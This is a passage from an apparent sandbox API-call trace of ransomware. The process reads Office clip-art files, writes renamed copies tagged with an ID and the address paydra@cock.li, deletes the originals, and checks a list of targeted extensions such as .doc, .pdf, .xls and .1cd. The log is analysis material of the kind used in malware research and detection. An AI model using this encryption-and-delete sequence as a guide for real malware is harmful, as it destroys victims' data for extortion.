| out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.927] SetEndOfFile (hFile=0x180) returned 1 [0058.927] CloseHandle (hObject=0x180) returned 1 [0058.927] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.927] SetEndOfFile (hFile=0x1c8) returned 1 [0058.928] CloseHandle (hObject=0x1c8) returned 1 [0058.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.929] lstrlenW (lpString=".doc") returned 4 [0058.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.929] lstrlenW (lpString=".docx") returned 5 [0058.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.929] lstrlenW (lpString=".pdf") returned 4 [0058.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.929] lstrlenW (lpString=".xls") returned 4 [0058.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.929] lstrlenW (lpString=".xlsx") returned 5 [0058.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.929] lstrlenW (lpString=".ppt") returned 4 [0058.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.929] lstrlenW (lpString=".zip") returned 4 [0058.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.929] lstrlenW (lpString=".rar") returned 4 [0058.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.929] lstrlenW (lpString=".bz2") returned 4 [0058.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.929] lstrlenW (lpString=".7z") returned 3 [0058.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.929] lstrlenW (lpString=".dbf") returned 4 [0058.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.929] lstrlenW (lpString=".1cd") returned 4 [0058.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.930] lstrlenW (lpString=".jpg") returned 4 [0058.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.930] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=11500) returned 1 [0058.930] CloseHandle (hObject=0x1c8) returned 1 [0058.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0058.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0058.930] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.930] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.931] GetLastError () returned 0x0 [0058.931] ReadFile (in: hFile=0x1c8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x2cec, lpOverlapped=0x0) returned 1 [0058.932] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0058.933] ReadFile (in: hFile=0x1c8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.933] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.933] SetEndOfFile (hFile=0x180) returned 1 [0058.933] CloseHandle (hObject=0x180) returned 1 [0058.933] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.933] SetEndOfFile (hFile=0x1c8) returned 1 [0058.934] CloseHandle (hObject=0x1c8) returned 1 [0058.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0058.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.935] lstrlenW (lpString=".doc") returned 4 [0058.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.935] lstrlenW (lpString=".docx") returned 5 [0058.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.935] lstrlenW (lpString=".pdf") returned 4 [0058.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.935] lstrlenW (lpString=".xls") returned 4 [0058.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.935] lstrlenW (lpString=".xlsx") returned 5 [0058.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.935] lstrlenW (lpString=".ppt") returned 4 [0058.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.935] lstrlenW (lpString=".zip") returned 4 [0058.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.935] lstrlenW (lpString=".rar") returned 4 [0058.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.935] lstrlenW (lpString=".bz2") returned 4 [0058.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.935] lstrlenW (lpString=".7z") returned 3 [0058.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.935] lstrlenW (lpString=".dbf") returned 4 [0058.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.935] lstrlenW (lpString=".1cd") returned 4 [0058.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.935] lstrlenW (lpString=".jpg") returned 4 [0058.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.018] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.018] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.018] GetLastError () returned 0x0 [0059.018] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1138, lpOverlapped=0x0) returned 1 [0059.020] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1140, lpOverlapped=0x0) returned 1 [0059.021] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.021] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.021] SetEndOfFile (hFile=0x15c) returned 1 [0059.021] CloseHandle (hObject=0x15c) returned 1 [0059.021] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.021] SetEndOfFile (hFile=0x23c) returned 1 [0059.022] CloseHandle (hObject=0x23c) returned 1 [0059.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0059.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0059.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0059.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0059.022] lstrlenW (lpString=".doc") returned 4 [0059.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.022] lstrlenW (lpString=".docx") returned 5 [0059.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.022] lstrlenW (lpString=".pdf") returned 4 [0059.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.022] lstrlenW (lpString=".xls") returned 4 [0059.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.023] lstrlenW (lpString=".xlsx") returned 5 [0059.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.023] lstrlenW (lpString=".ppt") returned 4 [0059.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0059.023] lstrlenW (lpString=".zip") returned 4 [0059.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.023] lstrlenW (lpString=".rar") returned 4 [0059.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.023] lstrlenW (lpString=".bz2") returned 4 [0059.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.023] lstrlenW (lpString=".7z") returned 3 [0059.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0059.023] lstrlenW (lpString=".dbf") returned 4 [0059.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0059.023] lstrlenW (lpString=".1cd") returned 4 [0059.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0059.023] lstrlenW (lpString=".jpg") returned 4 [0059.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.023] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=6256) returned 1 [0059.023] CloseHandle (hObject=0x23c) returned 1 [0059.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0059.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0059.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0059.024] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.024] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.024] GetLastError () returned 0x0 [0059.024] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1870, lpOverlapped=0x0) returned 1 [0059.026] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1880, lpOverlapped=0x0) returned 1 [0059.027] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.027] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.027] SetEndOfFile (hFile=0x15c) returned 1 [0059.027] CloseHandle (hObject=0x15c) returned 1 [0059.027] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.027] SetEndOfFile (hFile=0x23c) returned 1 [0059.028] CloseHandle (hObject=0x23c) returned 1 [0059.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0059.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0059.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0059.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0059.028] lstrlenW (lpString=".doc") returned 4 [0059.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.028] lstrlenW (lpString=".docx") returned 5 [0059.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.028] lstrlenW (lpString=".pdf") returned 4 [0059.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.028] lstrlenW (lpString=".xls") returned 4 [0059.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.029] lstrlenW (lpString=".xlsx") returned 5 [0059.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.029] lstrlenW (lpString=".ppt") returned 4 [0059.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0059.029] lstrlenW (lpString=".zip") returned 4 [0059.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.029] lstrlenW (lpString=".rar") returned 4 [0059.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.029] lstrlenW (lpString=".bz2") returned 4 [0059.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.029] lstrlenW (lpString=".7z") returned 3 [0059.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0059.029] lstrlenW (lpString=".dbf") returned 4 [0059.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0059.029] lstrlenW (lpString=".1cd") returned 4 [0059.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0059.029] lstrlenW (lpString=".jpg") returned 4 [0059.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.030] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=19476) returned 1 [0059.030] CloseHandle (hObject=0x23c) returned 1 [0059.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0059.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0059.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0059.031] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.031] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.031] GetLastError () returned 0x0 [0059.031] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x4c14, lpOverlapped=0x0) returned 1 [0059.032] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0059.033] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.033] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.034] SetEndOfFile (hFile=0x15c) returned 1 [0059.034] CloseHandle (hObject=0x15c) returned 1 [0059.034] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.034] SetEndOfFile (hFile=0x23c) returned 1 [0059.035] CloseHandle (hObject=0x23c) returned 1 [0059.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0059.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0059.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0059.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0059.035] lstrlenW (lpString=".doc") returned 4 [0059.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.035] lstrlenW (lpString=".docx") returned 5 [0059.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.035] lstrlenW (lpString=".pdf") returned 4 [0059.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.035] lstrlenW (lpString=".xls") returned 4 [0059.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.035] lstrlenW (lpString=".xlsx") returned 5 [0059.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.035] lstrlenW (lpString=".ppt") returned 4 [0059.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0059.035] lstrlenW (lpString=".zip") returned 4 [0059.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.035] lstrlenW (lpString=".rar") returned 4 [0059.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.036] lstrlenW (lpString=".bz2") returned 4 [0059.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.036] lstrlenW (lpString=".7z") returned 3 [0059.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0059.036] lstrlenW (lpString=".dbf") returned 4 [0059.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0059.036] lstrlenW (lpString=".1cd") returned 4 [0059.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0059.036] lstrlenW (lpString=".jpg") returned 4 [0059.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.036] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3768) returned 1 [0059.036] CloseHandle (hObject=0x23c) returned 1 [0059.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0059.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0059.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 